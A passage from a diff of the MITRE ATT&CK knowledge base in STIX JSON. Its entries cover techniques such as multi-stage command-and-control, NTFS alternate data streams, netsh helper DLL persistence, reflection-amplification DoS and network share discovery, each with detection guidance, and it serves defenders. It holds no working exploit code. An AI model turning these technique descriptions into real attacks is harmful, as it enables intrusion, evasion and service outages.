"Netflow/Enclave netflow", + "Network device logs", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "name": "Multi-Stage Channels", + "created": "2017-05-31T21:31:15.935Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1188", + "source_name": "mitre-attack", + "external_id": "T1188" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.", + "x_mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "name": "Multi-hop Proxy", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1026", + "source_name": "mitre-attack", + "external_id": "T1026" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.", + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "name": "Multiband Communication", + "created": "2017-05-31T21:30:32.259Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1079", + "source_name": "mitre-attack", + "external_id": "T1079" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016." + }, + { + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016." + }, + { + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "name": "Multilayer Encryption", + "created": "2017-05-31T21:31:01.315Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1096", + "source_name": "mitre-attack", + "external_id": "T1096" + }, + { + "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", + "source_name": "SpectorOps Host-Based Jul 2017", + "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018." + }, + { + "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", + "source_name": "Microsoft NTFS File Attributes Aug 2010", + "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018." + }, + { + "url": "http://msdn.microsoft.com/en-us/library/aa364404", + "source_name": "Microsoft File Streams", + "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014." + }, + { + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018." + }, + { + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018." + }, + { + "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", + "source_name": "Journey into IR ZeroAccess NTFS EA", + "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016." + }, + { + "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/", + "source_name": "Oddvar Moe ADS1 Jan 2018", + "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018." + }, + { + "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "source_name": "Oddvar Moe ADS2 Apr 2018", + "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018." + }, + { + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Red Canary", + "Oddvar Moe, @oddvarmoe" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Kernel drivers", + "API monitoring", + "Process command-line parameters" + ], + "modified": "2019-02-20T14:17:30.847Z", + "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Host forensic analysis", + "Anti-virus" + ], + "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "name": "NTFS File Attributes", + "created": "2017-05-31T21:31:11.147Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", + "x_mitre_system_requirements": [ + "NTFS partitioned hard drive" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1128", + "source_name": "mitre-attack", + "external_id": "T1128" + }, + { + "url": "https://technet.microsoft.com/library/bb490939.aspx", + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017." + }, + { + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", + "source_name": "Demaske Netsh Persistence", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017." + }, + { + "url": "https://github.com/outflankbv/NetshHelperBeacon", + "source_name": "Github Netsh Helper CS Beacon", + "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "modified": "2019-04-29T20:48:01.254Z", + "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "name": "Netsh Helper DLL", + "created": "2017-05-31T21:31:40.168Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", + "x_mitre_system_requirements": [ + "[netsh](https://attack.mitre.org/software/S0108)" + ] + }, + { + "external_references": [ + { + "external_id": "T1498", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", + "source_name": "FireEye OpPoisonedHandover February 2016", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019." + }, + { + "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", + "source_name": "FSISAC FraudNetDoS September 2012", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019." + }, + { + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", + "source_name": "Symantec DDoS October 2014", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019." + }, + { + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", + "source_name": "USNYAG IranianBotnet March 2016", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019." + }, + { + "url": "https://blog.cloudflare.com/reflections-on-reflections/", + "source_name": "Cloudflare ReflectionDoS May 2017", + "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019." + }, + { + "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/", + "source_name": "Cloudflare DNSamplficationDoS", + "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019." + }, + { + "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/", + "source_name": "Cloudflare NTPamplifciationDoS", + "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019." + }, + { + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019." + }, + { + "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/", + "source_name": "Cloudflare Memcrashed Feb 2018", + "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019." + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Sensor health and status", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network device logs" + ], + "modified": "2019-04-29T13:22:28.184Z", + "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "name": "Network Denial of Service", + "created": "2019-04-17T20:23:15.105Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\n\n###Direct Network Flood###\n\nDirect Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\n###Reflection Amplification###\n\nAdversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1046", + "source_name": "mitre-attack", + "external_id": "T1046" + } + ], + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "Process command-line parameters", + "Process use of network" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "name": "Network Service Scanning", + "created": "2017-05-31T21:30:43.915Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1126", + "source_name": "mitre-attack", + "external_id": "T1126" + }, + { + "url": "https://technet.microsoft.com/bb490717.aspx", + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Established network share connection to a remote system. Level of access depends on permissions of the account used." + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Packet capture", + "Authentication logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "name": "Network Share Connection Removal", + "created": "2017-05-31T21:31:38.350Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1135", + "source_name": "mitre-attack", + "external_id": "T1135" + }, + { + "url": "https://en.wikipedia.org/wiki/Shared_resource", + "source_name": "Wikipedia Shared Resource", + "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017." + }, + { + "url": "https://technet.microsoft.com/library/cc770880.aspx", + "source_name": "TechNet Shared Folder", + "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Network protocol analysis", + "Process use of network" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "name": "Network Share Discovery", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1040", + "source_name": "mitre-attack", + "external_id": "T1040" + }, + { + "url": "https://capec.mitre.org/data/definitions/158.html", + "source_name": "capec", + "external_id": "CAPEC-158" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Network interface access and packet capture driver" + ], + "x_mitre_data_sources": [ + "Network device logs", + "Host network interface", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ 